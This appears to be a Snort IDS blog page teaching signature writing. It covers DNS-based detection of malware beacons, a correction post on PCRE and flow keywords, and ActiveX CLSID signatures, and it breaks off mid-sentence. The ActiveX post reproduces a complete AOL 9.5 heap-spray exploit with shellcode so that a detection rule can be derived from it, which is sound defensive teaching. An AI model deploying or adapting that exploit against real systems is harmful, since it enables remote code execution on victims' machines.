Signature AnalyticsBlogging the Science of Signature Analysis

Malware is a threat for networks of all sizes; from the home user and SOHO (Small Office/Home Office) environment; through to the largest of international businesses. It can seep into your network through the small chinks in your defences, be it a hole in the firewall, un-patched software, a client-side exploit, user interaction, and a seemingly endless reams of other techniques for getting that little piece of code running within your organisation.

Snort has many rules both in the VRT (snort.org) and Emerging threats (emergingthreats.net) rule sets for detecting malicious code and suspicious network activity and these are excellent sources with many excellent rules for detecting a wide range of threats including exploits, scans and malware.

There is an issue however in the detection of internal malware infections that call home. The content based rules within both rulesets detect traffic going from inside your organisation to the outside usually requiring a session to be established between the infected machine and the control server on the outside. This is fine in most cases;  however in our example (Figure 1.1) we have strict egress firewall rules allowing only the HTTP proxy to act on behalf of the client and exit the firewall on port 80. There is a trojan which received updates from a control server, this control server is located at the domain www.iamacontrolserver.ru and the infected client goes through the three way handshake (SYN,SYN/ACK,ACK) to established a session over HTTP going out the default HTTP port (80) on your firewall (many firewalls will have this port open ), it then sends a HTTP GET request for the page /control_me_i_am_yours.php.

Figure 1.1 Example Scenario

This is easy to detect with snort. A simple rule like the following will suffice:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”Trojan Command And Control Request”; flow:established,to_server; uricontent:”/control_me_i_am_yours.php”; nocase; classtype:trojan-activity; sid:1233333; rev:1;)

So now we have a rule to detect a client establishing a client establishing a session to a control server and requesting /control_me_i_am_yours.php. Great! Well sort of; what happens if port 80 is only allowed through your firewall for HTTP proxy servers and the trojan is not aware of client proxy settings? In that case a SYN will be sent to port 80 to try and connect to  www.iamacontrolserver.ru and get the page control_me_i_am_yours.php but it will not get past that SYN, the firewall won’t allow it past as the only hosts allowed past port 80 are the proxy servers.

This is a mixed blessing; the infected client cannot get to the control server and is basically contained within the network but you still have an infected client within the network with the possibility of doing harm but the rule we have to detect this trojan will never fire because it will fail at the flow:established part as the infected client cannot establish the session as it cannot get a SYN to the control server. This results in malware sitting within your organisation can possibly infect other machines but will not trigger any rules for outbound communication based on application content as it cannot get past the egress filtering.

So here our problem lies, we need to detect these infections within our network but are limited as the trojan will not fire upon it’s outbound communication, thus we have several solutions to get our IDS sensor setup to help identify infected hosts:

1)            We can detect internal infection traffic, for instance if shares are accessed, exploits transferred between hosts and so on, however, what if the first thing the trojan does is outbound communication before moving on? It also can be very difficult to monitor all traffic between hosts to locate all infections, especially in large organisations.

2)            Fire upon communication to command and control server IP addresses: This may be particularly effective. The emergingthreats.net rulesets contain rules for known compromised/hostile host IP addresses, the Russian Business Network address space, Botnet control server’s IP addresses and others. This may be effective if the IP address is known and these rules are worth running to detect communication to known control servers and thus eliminate many infections. However, this is reliant on known hostile IP addresses and will not identify IP addresses which have not been identified in the past as being hostile.

3)            We look for DNS requests: clients not using DNS servers, making strange and anomalous DNS queries, queries to known hostile DNS names and so on may be infected. While this method itself has its own limitations, adding this to a detection in depth approach may aid in helping your organisation detec##

Detection of anomalous DNS is effective in detecting infections in both small and large organisations because:

• Even if a strict egress firewall policy is enforced not allowing connections iamacontrolserver.ru, the client still must resolve the domain name to an IP address using an internal or external DNS server, this traffic must cross the network to a DNS server and can be inspected by an IDS if it can see the traffic (either inline to network traffic or using a spanned port).
• In large organisations it is much more feasible to detect traffic to DNS servers than between clients to indentify possible malware activity as there will be significantly less DNS servers to monitor.
• Malware usually relies on DNS (unless the control server IP address is hard-coded which would never happen these days); this allows for better control of infected clients and using fast flux DNS; this allows the botnet controllers to keep control and move their infrastructure using large pools of possible domains and moving the IP address allowing for more resiliency (you can read more on fast flux DNS here on honeynet.org (honeynet). Because of reliance on DNS they must make internal or external DNS queries for their respective domains which can be detected.
• Once an anomalous DNS request has been identified and the client isolated for analysis; detection can be put in place to detect other clients trying to resolve the same domains and therefore likely infected with the same malware.

How do you put such a detection mechanism in place I hear you ask? Well I am glad you asked! I will assume you know how to build snort sensors (if not refer to the official snort manual or    Google). Before you begin applying any of the techniques discussed you must ensure that you have defined ALL your $DNS_SERVERS variable in snort.conf as follows:

For one DNS server:

var DNS_SERVERS 10.1.1.1

For multiple DNS servers:

var DNS_SERVERS [10.1.1.1, 10.2.1.1, 10.3.1.1, 10.4.1.1]

This step is essential as many rules required for this detection will require the detection of DNS requests from clients going to DNS servers, requests from clients trying to make direct DNS queries without going through an internal DNS server and others. Not accurately filling in this variable therefore may result in many false positives.

So once we have this properly defined on our Snort sensor how to we go about detecting this traffic in the above scenario? First thing to consider is sensor placement. Ideally in this scenario for what we are wanting there will be two Snort sensors (Figure 1.2). One sensor is monitoring the inside interface of the firewall; this is to help monitor inbound traffic once it is past the firewall and outbound traffic. The other is monitoring traffic to and from the DNS server (you can also choose a choke point where a lot client to DNS server traffic passes depending on your organisation). The reasons for this being a desirable  basic placement is to provide adequate coverage for malware which attempts to make direct queries to the Internet and those which use legitimate DNS servers. Hardware and OS performance are beyond the scope of this article but generally you can get away with older i386 hardware depending on how much traffic you are monitoring so a detection set-up does not have to be expensive.

Figure 1.2 Example Scenario Snort Sensor Placement

The first thing we want to set-up is egress and ingress monitoring of the firewall. What rule-sets you will run are dependent on your organisation. For an organisation looking to detect malware with strict egress filtering you will want to run in addition to the normal rule-sets to provide coverage for systems you have; it is beneficial to detect connection attempts to known botnet controllers and hostile Ips. This can be done using the emerging threats rule-sets emerging-botcc.rules, emerging-rbn.rules, emerging-compromised.rules and emerging-dshield.rules. The reason why this is useful even in IDS where you are not filtering these IP addresses either through intrusion prevention or on the firewall is because if a client makes a direct connection to a known control server which a IDS rule exists but it requires that the flow be established so the rule never fires, if the control server is known then such activity can be detected during the initial SYN attempt to the control server which the firewall rejects.

Once we have a our IDS set-up with existing rule sets from VRT and emerging-threats we need to create a custom rule and place it in our local.rules file to detect clients attempting to make direct DNS queries. To identify this behaviour look at the DNS query below for the example domain iamacontrolserver.ru. The query falls after the first 2 bytes in the packet and contains the characters 01 00 00 01 00 00 00 00 00 00 as outlined in black in figure 1.3. From this basic principle we can inspect DNS queries accurately for all sorts of DNS queries.

Figure 1.3 The magical 01 00 00 01 00 00 00 00 00 00 of a DNS Query

So from this we actually want to detect direct DNS queries from the inside to outside which does not come from the permitted DNS servers as this is anomalous behaviour and may be indicative of malware. We do this on our sensor on the inside of the firewall using below rule:

alert udp !$DNS_SERVERS any -> $EXTERNAL_NET 53 (msg:”Direct DNS Query By Client”; content:”|01 00 00 01 00 00 00 00 00 00|”; depth:10; offset:2; classtype:trojan-activity; sid:13210032; rev:1;)

What this rule says if a source address which is not defined in the variable DNS_SERVERS (which is why that is important to define otherwise your legitimate DNS servers will trigger this rule) trying to reach the DNS port 53 on an external network then trigger an alert. What ever domain is requested it does not matter, this rule will fire. This will help detect even if a client is attempting to contact a large pool of unknown control servers to known, for instance if a client tries to reach servers like asdjsjaksd.cn, bigbadserver.com, insovietrussiacontrolserveriscontrolledbyYOU.ru and so on; it will still detect it if the client is trying to make direct attempts. You may also want to negate other devices within your network what may cause false positives. These systems may be SMTP servers, proxy servers. You may negate such systems by creating a variable if there is a lot of hosts or listing single IP addresses like below:

alert udp ![$DNS_SERVERS,$SMTP_SERVERS,192.168.1.43] -> $DNS_SERVERS 53

You may define any variables in your snort.conf file. For instance if you have multiple proxy servers you could create a variable like below and include that in the negated rule.

Var PROXY_SERVERS  [192.168.1.43,192.168.1.44,192.168.1.45]

alert udp ![$DNS_SERVERS,$SMTP_SERVERS,$PROXY_SERVERS] -> $DNS_SERVERS 53

Now we can move onto detecting anomalous DNS queries for clients trying to resolve possibly hostile domains to their respective IP addresses. Fortunately most of the work is already done in this regard. The website malwaredomains.com (Malwaredomains) maintains a list of known malware related domains and is an excellent resource in the creation of DNS black-holes to block requests for malicious domains (see malwaredomains.com for more information on how to do this). Fortunately; these domains have been converted into snort rules on autoshun.org that are updated frequently and which you can get here from the autoshun website (Autoshun BHDNS). Place these on your DNS monitoring sensors and include it within your snort.conf file. These rules are designed to detect queries for these domains to any DNS servers and can be extremely effective.

There are other rules which may help in detection of DNS related anomalies. For instance resolution  of domains with the suffix .cn (China) and .ru (Russia) may be suspicious for some organisations and may be indicative of malware. This can be detected on your DNS sensor using the VRT signatures 15167 and 15168. These rules by default will detect this behaviour from your internal network to external networks so what you want to do is modify the start of the rule to become:

alert udp !$DNS_SERVERS any -> $DNS_SERVERS 53

Once this is done on both these rules on your DNS sensor then rather than detecting your DNS servers querying these domains outbound you will detect suspicious .cn and .ru queries going from your clients to your DNS servers so rather than only spotting the non-infected DNS server you can identify the actual client (this rule alteration is only useful on sensors where you can monitor internal DNS traffic).

What do you do though if you identify a likely malicious domain trying to actively be resolved by malware within your environment and want to detect it with the DNS sensor? For instance; I have detected malware which is trying to resolve the example iamacontrolserver.ru and want to detect other clients within my organisation trying to resolve that same domain name and therefore likely also infected. Well we take the below rule template:

alert udp !$DNS_SERVERS any -> $DNS_SERVERS 53 (msg:”INFORMATIVE_MESSAGE GOES_HERE”; content:”|01 00 00 01 00 00 00 00 00 00|”; depth:10; offset:2; content:”DOMAIN”; nocase; distance:0; classtype:trojan-activity; sid:SNORT_ID; rev:1;)

Using this template we add in a few things to allow for detection of this malicious domain. First thing is to add a description into the msg so it means something to us when it alerts. We also need to apply a unique SID for the alert. If you have snort using unified logging and barnyard then writing these logs to a database (which is advisable as it offers better performance) then you must add a line into your sid-msg.map file (you may create a file and have it scripted to insert the information into any new sid files during any automatic updates you have), this entry in sid-msg.map would look like this for our example rule:

1232313 ||  DNS request for iamacontrolserver.ru

Now we add in the actual domain. They key to remember is that the hex number before the suffix is the number of characters in it. For instance for our rule it becomes iamacontrolserver|02|ru for 2 characters where if it was actually iamacontrolserver.com then it would become iamacontrolserver|03|com and so on. This simple rule of thumb applies throughout the process of writing rules for DNS domains (i.e iamacontrolserver.co.uk would be iamacontrolserver|02|co|02|uk)

So from the template INFORMATIVE_MESSAGE GOES_HERE  becomes DNS request for iamacontrolserver.ru; DOMAIN is replaced iamacontrolserver|02|ru and a unique snort ID is put in place of SNORT_ID  and thus we end up with the below complete rule.

alert udp !$DNS_SERVERS any -> $DNS_SERVERS 53 (msg:”DNS request for iamacontrolserver.ru”; content:”|01 00 00 01 00 00 00 00 00 00|”; depth:10; offset:2; content:”iamacontrolserver|02|ru”; nocase; distance:0; classtype:trojan-activity; sid:1232313; rev:1;)

If you have any references they may be put in at this point also for further information about the domain so you can remember why it is there (this may be useful in the message to (for instance  msg:”DNS request for iamacontrolserver.ru (malware update and control server)”.

Now that we have the final rule below we can run it on our DNS server sensors to detect DNS queries for this domain from our clients to our DNS servers. The detection can then be viewed immediately by writing alerts to the console as shown in figure 1.4 or stored in a database and correlated examined later using a tool like BASE which allows better forensic analysis as you can see in figures 1.5 and 1.6.

Figure 1.4 The DNS request from Snort running in console mode

Figure 1.5 The DNS requests viewed in BASE

Figure 1.6 The DNS request viewed in BASE

There is a future in DNS and IP reputation within IDS/IPS to help remedy this though and that future is being realised by the Open Information Security Foundation (OISF) in their development of the next generation IDS/IPS Suricata which also has existing Snort rules.

While Suricata is currently in development at time of writing and many features are yet to be implemented there are betas being released and development is moving quickly. Among its impressive list of implemented and planned features which you can find out more about on the site IP and DNS reputation is envisioned to provide a central pillar in the detection of hostile activity, for instance:

• If a client tries to resolve multiple domains with a low TTL (Time To Live) then statistically it can be worked out that this client may be infected with malware which uses fast flux DNS.
• Detecting clients trying to connect to known malware domains
• Using positive and negative information about IP addresses to provide alerts on hostile IP addresses and improve rules which false positive to say only alert on IP addresses which have a negative IP reputation.

…and much more (see OISF site for more information)

Using IP and DNS reputation to complement detection may help in the detection of malware within your organisation for which detection by traditional signatures may not be possible due to egress policies and if the IP and DNS reputation features are implemented as aspired to; then Suricata may become an extremely useful addition to your network security.

As you have seen; using DNS detection you can identify infected clients where they may not have otherwise been easily detected. This idea can be expanded on even further using your existing DNS infrastructure in home and enterprise environments by creating DNS sink-holes and either sending clients to their loop back addresses when they are trying to resolve a malicious domain or setting them to resolve to a web server which then monitors for inbound requests from the clients.  Information on how to do this can be found on malwaredomains (Malwaredomains Howto).

In a SOHO or home environment you can accomplish the same thing using a host file or  if an automatically updated and centralised point you can use a free network firewall like Smoothwall with the black hole DNS addon (Smothwall BlackholeDNS). This add-on automatically updates from malwaredomains.com and other places and can stop your internal clients connecting to listed hostile domains which may be very effective at containing and preventing infections on a budget within small environments.

Detection of malware by monitoring your DNS traffic and requests may help you find malware that may otherwise not reveal itself to you, especially if you have strict egress filtering policies in place. Of course this is only part of a defence in depth approach and you should always adhere to best practices as well as active monitoring including log for traces of policy violations and suspicious traffic.

References

Autoshun BHDNS.  http://www.autoshun.org/downloads/bhdns.rules. Wednesday March 3^rd 2010.

emergingthreats.net. www.emergingthreats.net. Wednesday March 3^rd 2010.

honenet. www.honeynet.org/papers/ff). Wednesday March 3^rd 2010.

Malwaredomains. Http://www.malwaredomains.com. Wednesday March 3^rd 2010.

MalwareDomains Howto. http://www.malwaredomains.com/wordpress/?page_id=6, Wednesday March 3^rd 2010

OISF. Matt Jonkman, Victor Julien et al. www.openinfosecfoundation.org/. Wednesday March 3^rd 2010.

Smoothwall BlackholeDNS. http://community.smoothwall.org/forum/viewtopic.php?f=26&t=26030. Wednesday March 3^rd 2010 .

Snort.org. VRT et al. www.snort.org. Wednesday March 3^rd 2010.

Threat Intelligence Project[TIP] is started by Joel Esler, JJ Cummings & ShirkDog. The following are the details from the official TIP site:

What is this TIP stuff all about?
The Threat Intelligence Project (TIP) was created to collect information from snort sensors around the globe.

Goals
The goal is to provide useful threat metrics from this data, that include some subjective input (False Positives as submitted by sensor operators).

Example Metrics:

• IP reputation
• Global Rule hit-count
• Rule accuracy
• Packet data (payload)
• Many more to come, please feel free to make suggestion/requests!

Currently we are developing the client / server components that will collect the data and submit it in a secure fashion. The initial release will have allow the participant to obfuscate ip information (source or dest), payload information (your pakets), none, or both!

More information on TIP is available here: http://rootedyour.com/tip

I will be releasing the Tao of Signature Writing – Part 5 next week after couple of reviews.  If you would like to volunteer for us, email is at contact.fingers[at]gmail.com. Thank you for choosing our blog!

I am glad that Joel has made all possible corrections in the previous blog. You could read that from here: http://blog.joelesler.net/2010/02/writing-snort-rules-correctly.html. Thank you Joel.

I made many errors in the previous version of the article. One of the errors I noticed was “Offset:0″. Instead, it should have been “distance:0″, since it means that the second content follows the previous content. Which makes the signature contents relative to each other. Offset:0 would not make sense here.

Joel also mentioned:

The author explains that “Client-side exploits generally flow from server to client”.  Okay, correct in this instance, but not always, so let me explain:

Flow has four direction operators you can specify:

• to_server
• from_server
• to_client
• from_client

What happens is when I hear from people is that they think “server” as that 2U thing back in the server room (hence the name), and client being “you”.  But that’s not how Snort thinks about it.  Snort thinks about client server in the “who initiated the conversation” term.  So, at the beginning of a TCP conversation there is a 3-way handshake.  SYN, SYN-ACK, ACK.

1. CLIENT ->  SYN -> SERVER
2. CLIENT <- SYN, ACK <- SERVER
3. CLIENT -> ACK -> SERVER

The client is who initiated the conversation, the server is who is responding. So, in this case, since we are attempting to catch a web browser accessing a webpage and downloading a webpage which contains this CLSID, the flow would be to_client.  (Or from_server) Correct.  However, what if someone downloaded a PDF, and upon opening the PDF the PDF went and grabbed something off the internet.  This is a client side exploit, however, the flow would be reversed.  So, the author is correct in saying that “Client-side exploits are generally…” I wanted to explain to make sure no one was confused.  The “established” keyword means the the session is established.  So beginning on the 3rd part of the 3-way handshake.

What I meant was that in this case with the exploit we considered, it is flowing to client. Client-side exploits do not flow to the server in general and exploits that has the flow set to server are generally targeting the server. If we used from_server in this case, we would have only triggered if it came from server. Our concentration here in the example I considered was to target all incoming traffic to the client. But the explanation the Joel has stated is amazing.

Joel’s PCRE part:

/<OBJECT\s+[^>]*classid\s*=\s*[\x22\x27]?\s*clsid\s*\x3a\s*\x7B?\s*A105BD70-BF56-4D10-BC91-41C88321F47C/si

(I am going to put double quotes around the things we are trying to match that are explicit, the quotes don’t actually exist in the regular expression unless specified)

So we are looking for “<OBJECT”

Then a whitespace (\s).  That’s what “\s” is.  (It says ‘followed by strings’ in the above quoted paragraph).  Whitespace is a tab, (0×09), space (0×20), new line character, or a line feed (0×0A), or a carriage return (0×0D).  The “+” sign after the “\s” means ‘any character directly proceeding it as many times, but there must be at least 1′.  So there must be 1 or more “\s” there.

Then you see this “[^>]“, which the author says that we are positively looking for.  The thing about character classes “[ ]” is, they allow you to do some nifty things.  Range matching, ([0-9]), multiple matches, [abc] (this will look for either an a, b, or c, for one character), and you can also do negative matches.  Or “lack of” matches.  The way you specify a negative match within a character class is to use the carat within a character class.  So “[^>]” means, “the next character after any amount of positively matched “\s” cannot be a “>”.  Directly after that is a “*” character.  The “*” is similar to a “+” but the difference is, while a “+” means you must have at least 1 match of the proceeding character (in this case the negative character class), the “*” means you don’t have to have a positive match.  It means “0 or more”.

Following that we have a “classid\s*=\s*” match.  So look for classid(maybeaspacehere,it’soptional)=(maybeanotherspacehere)

Then there is a “[\x22\x27]“.  In regular expressions, if you want to specify a hex character you have to write “\x” before the hex.  So, you might see a space specified like this: 0×20.  You might see it specified in Unicode like this: %20.  In regular expressions, it would be “\x20″.  Since there are two characters within the character class, 0×22 is the hex for a double quote.  ”  and 0×27 is hex for a single tick. ‘

Since this is a run of the mill character class match (not a range or something more complex) this means that the next character that the “[\x22\x27]” pattern match is looking for is either a ‘ or a “.  Notice the “?” after the character class?  That’s a ‘lazy optional’.  So without going into a long book about lazy and greedy (which, by the way, if you are interested, I suggest checking out the book “Mastering Regular Expressions” by Jeffery Friedl, it’s the bible), the “?” basically means “The Character that is directly in front of the “?” is optional”.  So, it essentially means, when all put together the match is either a ‘ or a ” or not at all.

Then we have (maybesomewhitepacehere)clsid(maybesomemorewhitespacehere):(maybesomemorewhitespacehere){(optionally)(maybesomemorewhitespacehere)A105BD70-BF56-4D10-BC91-41C88321F47C.

Notice that I translated “\x3a” and “\x7B” (the latter of which has the “?” behind it, so it’s optional) above.

Then the modifiers of the whole Regular Expression at the end are “/si”.

“s” means “include new lines in the dot metacharacter”.  However, there are no “.” metacharacters in the regular expression, so that was probably put there by habit (and good practice), and the “i” means “anything within the regular expression treat with case insensitivity”  similar to the “nocase;” keyword in Snort’s regular rule language.

My bad! I never explained it completely. Also, I noticed that he mentioned the following:

Following that we have a “classid\s*=\s*” match.  So look for classid(maybeaspacehere,it’soptional)=(maybeanotherspacehere)

where I mentioned as multiple-strings instead of spaces. This is really a good write up on PCRE. I lost the continuity when writing the post. I will ensure that I go this deep in the future versions. But Joel’s write up on PCRE has covered it all completely. Thanks again man. It is great to have someone’s review to know what I am doing wrong, in that way I could correct myself next time. Apologies for any inconvenience & thank you for choosing our news portal!

In this posting, we would look into ActiveX signatures that uses CLSID to detect or prevent an ActiveX exploit from coming through the network. To understand the signature better, you would have to understand more about client-side exploits using ActiveX. I do not want to duplicate the work that has been published before. I have enclosed the article that I have contributed for hakin9, as an attachment to this posting. Click here to read/download the article: Client-side Exploits.

The idea is to keep things simple, for the sake of understanding the concept of signature writing. Let us start this by answering the following:

• What are the components of a CLSID based signature?
• How to derive them from given data?
• How to make the call on components to be, kept & discarded?

Let us look at a sample ActiveX exploit [Source: ExploitDB]:

# Title: AOL 9.5 ActiveX 0day Exploit (heap spray)
# EDB-ID: 11204
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Dz_attacker
# Published: 2010-01-20
# Verified: yes
# Download Exploit Code
# Download N/A
<html>
<head>
<title>AOL 9.5 ActiveX 0day Exploit (heap spray) </title>
**************************************
<br>[+] AOL 9.5 ActiveX 0day Exploit (heap spray)</br>
<br>[+] Author : Dz_attacker</br>
<br>[+] Discovered by: Hellcode Research (http://www.hellcode.net)
<br>[+] Reference: http://www.exploit-db.com/exploits/11190
<br>[+] Tested on Windows Xp SP3 ,IE7</br>
**************************************

<object classid=’clsid:A105BD70-BF56-4D10-BC91-41C88321F47C’ id=’aol’></object>
<script language=’javascript’>

// win32_exec – calc
shellcode = unescape(‘%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395′+
‘%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1′+
‘%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e’+
‘%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5′+
‘%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f’+
‘%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5′+
‘%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525′+
‘%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e’);

nops=unescape(‘%u9090%u9090′);
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length< slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0×40000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
ret=”;
for( counter=0; counter<=1000; counter++) ret+=unescape(“%0a%0a%0a%0a”);
aol.Import(ret,”Dz_attacker”,”True”,”True”);
</script>
</head>
</html>

The following is how you could look at the components of a signature:

In the above image, it can be seen that there are 3 strong components on which a signature could be written:

• CLSID/ProgramID
• Method of the Vulnerable function
• Shellcode

Shellcode is something that could always change. In this case, the shellcode used is the one for calc.exe:

shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
		     '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
     		     '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
		     '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
		     '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
		     '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
		     '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
		     '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

What about the other 2 components? CLSID is the class ID of the vulnerable ActiveX component. This is not going to change [constant] and the vulnerable method [constant]. Now, let us look at how to derive a signature from these 2 components. Since, we are writing a signature specific to above exploit, let us look at how we can do this:

• We have the “clsid:” followed by the CLSID. Should we use this too? What if we don’t?
• We have “aol” as the id and Import method name. Should we use “aol” along with “Import”?

Some might say that this depends on the Signature Writer. That is totally true. Some signature writers tend to keep it too open, while some might have too many constraints to narrow it down to match the exact same exploit. Why don’t we look at, “How not to be too narrow & too broad?” and settle for something in between those two.

So the answer to “We have the “clsid:” followed by the CLSID. Should we use this too? What if we don’t?”, is YES. We need to use “CLSID:” before the class ID to ensure that we are matching only the classID and not any content in the packet as it could lead to false positives. Say for example, if you have a text document that has some account number that is same as the classid in here followed by the second component of the signature, then the signature would trigger on that document. Hence, we have to narrow it down to some extent to something like this: content:”clsid:A105BD70-BF56-4D10-BC91-41C88321F47C”.

Now, let us look at the second question: “We have “aol” as the id and Import method name. Should we use “aol” along with “Import”?”. Just because we narrowed down to “clsid:” followed by CLSID number, does not mean that we have to narrow down in this case too. Just like how the Shellcode will change, the attackers might change the ID too, to just find out if they could evade the IDS/IPS. Why give them a chance? Hence, we should broaden our search to just the import method: content:”.Import(“. The reason why we have “.” and “(” around the key “Import” is to narrow the chances of triggering the signature on some term “Import” and to concentrate on the vulnerable method.

Now that we saw how to keep it narrow in some cases and how to keep it broad in the rest, let us look at other stuff that we need to keep in mind, to match the two contents in the above example:

• Ordering
  • CLSID comes before the Method
  • CLSID comes after the Method
  • No Ordering
• Depth
  • Positioning CLSID or Method within the packet
• Offset
  • Positioning CLSID or Method, with respect to themselves and not with respect to the packet.

In here, I would like to position the CLSID before the method. This would help me trigger the signature specific to “AOL 9.5 ActiveX 0day Exploit (heap spray)“. I can do this ordering by using “Offset”. We cannot set the “Depth” in this case, since the position of CLSID or Method in a packet will change according to the packet size or the way in which it is sent. Hence, the content of final signature would look something like this:

content:”clsid:A105BD70-BF56-4D10-BC91-41C88321F47C”; nocase; content:”.Import(“; nocase; Offset:0;

Now, let us look into the direction of traffic. Client-side exploits generally flow from server to client: “flow:to_client,established;“. Signature type:”alert”, protocol could be TCP or UDP, but TCP in this case[session based]. Source host is any IP from External Network, to Destination Host from Home network. Client-side exploits are sent in the form of return traffic, source port: HTTP [Server port] and destination port: ANY[generally ephemeral port, since this is possible return traffic]. With all the above components, the following can be generated:

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:”ActiveX Exploit Signature Sample”; flow:to_client,established; content:”clsid:A105BD70-BF56-4D10-BC91-41C88321F47C”; nocase; content:”.Import(“; nocase; Offset:0;)

What are the other components of the signature?

• PCRE
• Sources/Reference
• Revision Number

PCRE:

Perl Compatible Regular Expression[PCRE] is used in our signature to find the appropriate match. Definition of PCRE from Wikipedia:

Perl Compatible Regular Expressions (PCRE) is a regular expression C library inspired by Perl’s external interface, written by Philip Hazel. PCRE’s syntax is much more powerful and flexible than either of the POSIX regular expression flavors and many classic regular expression libraries. The name is misleading, because PCRE is Perl-compatible only if you consider a subset of PCRE’s settings and a subset of Perl’s regular expression facilities.

In this case some folks might believe that CLSID is already in the “content” part of the signature, and that this is a repetition if we use it in PCRE once again. We are not using this PCRE to repeat the value in the content, but to ensure that we do not miss any possibilities of matching this exploit. Let us look into the PCRE part of this signature:

pcre:”/<OBJECT\s+[^>]*classid\s*=\s*[\x22\x27]?\s*clsid\s*\x3a\s*\x7B?\s*A105BD70-BF56-4D10-BC91-41C88321F47C/si”;

In here, the signature is telling the PCRE compiler that there is “< object” followed by strings and “>” with multiple-strings possibly following it followed by “classid” & “=” with the “clsid”, “:” and “{“. The true classid is then inserted into the PCRE. The PCRE ends with /i to indicate the case-insensitive nature of this regular expression.

Souce/Reference:

Source or Reference of a signature is the site from which the signature writer referred the exploit or refer about the exploit. In this case, exploit-db.com website:

reference:url,www.exploit-db.com/exploits/11204;

Revision Number:

Revision number is the number of times a signature has been revised to make it work, or to make it more accurate/efficient. In this case, it is our first attempt:

rev:1;

Some also list class-type to group a specific class of signatures together. In Emerging Threats, class-type for this type of signatures is “web-application-attack”. Let us now put the signature together:

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:”ActiveX Exploit Signature Sample”; flow:to_client,established; content:”clsid:A105BD70-BF56-4D10-BC91-41C88321F47C”; nocase; content:”.Import(“; nocase; Offset:0; pcre:”/<OBJECT\s+[^>]*classid\s*=\s*[\x22\x27]?\s*clsid\s*\x3a\s*\x7B?\s*A105BD70-BF56-4D10-BC91-41C88321F47C/si”; reference:url,www.exploit-db.com/exploits/11204; rev:1;)

The above is the signature that could be used to detect or prevent, AOL 9.5 ActiveX 0day Exploit (heap spray) from entering your network or traversing through your network. This is how we write signatures for ActiveX exploit, which involves CLSID. If you have ProgramID instead of CLSID, you could replace the CLSID part in the above signature to ProgramID along with other stuff that comes with it, depending on the exploit.

Things to remember from this article:

• Never be too concise: Do not shrink the possibilities. It might lead to false-negatives.
• Never be too broad: It might expand possibilities, leading to false-positives.
• Think from a bad guy’s perspective.
• Never map/match on dynamic content: In this case, the shellcode in exploit or “id=aol”.
• Test & Update signatures constantly & consistently: since the exploits & techniques constantly change.
• There is NO perfect solution: Do not anticipate that your signature is going to block all attacks.
• Try, Try, Try Again till you succeed: This is a constant fight & all we could do is to be up to date.

I hope that this article helped you understand:

• Writing Client-side signatures: Components & Techniques
• The Signature Writer mindset that is required

Hope you enjoyed our article. Thank you for choosing signature analytics news portal!

Now that 3rd out of the 10 part series has been written, I would like to discuss more about the structure of the entire series and how we would be proceeding further.

• Part 1. Introduction
• Part 2. Mindset of Signature Writers
• Part 3. Web Application Signature writing
• Part 4. ActiveX Signatures based on CLSID’s
• Part 5. Framework based Signatures
• Part 6. Anomaly based Signatures
• Part 7. Policy-based Signatures
• Part 8. Semi-automating signature writing – Hands On
• Part 9. Signature Testing
• Part 10. Concluding the Series

Send me your views, opinion, comments and criticisms. Comments either way are accepted! Thank you for choosing Signature Analytics News.

In the previous article, we looked into a mindset of signature writer. This is the core/heart of signature writing and what I have written alone is not enough to complete it. We would see about mindset and the thought process from time to time from here on, but it would be more of added feature to the other parts of signature writing. In this part, we would look into basics of web application attacks, the common types, the mindset of the attacker and the mindset of signature writer in this section of attacks, how to write good signatures in this category and how to test them.

Web Applications have been common target for different range of attackers, starting from the newbies to the pro’s. Newbies [whom some might call as script kiddies, but I don't want to because they aren't really kiddies anymore] are good at gathering easy tools, put them together and just start the attack process, while pro’s on the other hand apparently might recon for a very long time and take very little time to attack and cover the tracks. The following are the 3 categories of web application attacks that we come across most often:

The reason for dividing the server into “Private” and “Public” is because, all the content that you have inside Public_html or www folder is most commonly public to the world, and the rest of the server side stuff that you do not want people to see is on the private side[outside public_html]. Of course, files that aren’t linked or indexed would not be searchable, although this does not mean that they can never be found. Simple logic is to not keep any private stuff that you do not want to share with the outside world, inside public folder. As shown in the above diagram, the following are the most common web application attacks that we would also be looking into today:

• PHP File Inclusion/Remote File Inclusion
• SQL Injection
• Cross-site Scripting [XSS]

Remote File Inclusion [also known as PHP File Inclusion for remote PHP file inclusion vulnerability]

From the Wikipedia:

